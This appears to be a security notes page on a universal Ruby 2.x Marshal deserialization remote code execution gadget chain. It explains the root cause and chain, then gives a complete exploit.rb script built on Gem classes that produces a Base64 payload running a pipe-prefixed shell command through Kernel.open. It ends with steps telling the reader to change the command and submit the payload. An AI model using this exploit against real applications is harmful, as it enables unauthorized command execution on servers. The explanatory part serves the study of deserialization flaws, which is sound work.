Skip to main content

ruby-2.x-universal-rce-marshal-deserialization

Ruby 2.x Universal RCE: Marshal Deserialization

Overview

This vulnerability abuses unsafe deserialization in Ruby when an application calls:

Marshal.load(user_controlled_data)

If an attacker controls the serialized input, they can achieve Remote Code Execution (RCE).

What makes this issue special and dangerous is that it does NOT rely on Rails, gems, or third-party libraries.

info

It works on plain Ruby 2.x.

Why this matters

Before Luke Jahnke’s research, exploiting Ruby deserialization required:

  • Rails-specific gadget chains, or
  • Finding gadgets in loaded libraries (hard & environment-dependent)

Luke Jahnke discovered a universal gadget chain:

  • Works in Ruby 2.x
  • No external dependencies
  • Only requirement: attacker-controlled Marshal.load()

This drastically increases real-world exploitability.

Root Cause

Insecure deserialization

Ruby’s Marshal format:

  • Can serialize objects
  • Preserves class information
  • Automatically calls special methods during loading

When deserializing:

  • Ruby may invoke methods like:
    • marshal_load
    • initialize
    • to_proc
    • call

This creates a code execution primitive.

The Gadget Chain

The universal gadget chain abuses Ruby core classes to eventually call:

Kernel.open(...) ### OR Just: open(...)

In Ruby:

  • Kernel.open() can execute commands

  • Especially when passed strings like:

    "|id"
    "|/bin/sh -c whoami"

This makes it a perfect RCE sink.

Exploitation Flow

  1. Attacker crafts a malicious Marshal payload using:
exploit.rb
#!/usr/bin/env ruby

require "base64"

class Gem::StubSpecification
def initialize; end
end

stub_specification = Gem::StubSpecification.new
<strong>stub_specification.instance_variable_set(:@loaded_from, "|id 1>&#x26;2") ## &#x3C;&#x3C; Change Payload!!!
</strong>
puts "STEP n"
stub_specification.name rescue nil
puts

class Gem::Source::SpecificFile
def initialize; end
end

specific_file = Gem::Source::SpecificFile.new
specific_file.instance_variable_set(:@spec, stub_specification)

other_specific_file = Gem::Source::SpecificFile.new

puts "STEP n-1"
specific_file &#x3C;=> other_specific_file rescue nil
puts

$dependency_list= Gem::DependencyList.new
$dependency_list.instance_variable_set(:@specs, [specific_file, other_specific_file])

puts "STEP n-2"
$dependency_list.each{} rescue nil
puts

class Gem::Requirement
def marshal_dump
[$dependency_list]
end
end

payload = Marshal.dump(Gem::Requirement.new)

puts "STEP n-3"
Marshal.load(payload) rescue nil
puts

puts "Payload (hex):"
puts payload.unpack('H*')[0]
puts

puts "Payload (Base64 encoded):"
puts Base64.encode64(payload)

  1. Use above script and change the custom command over there.
  2. Use the base64 string to execute commands.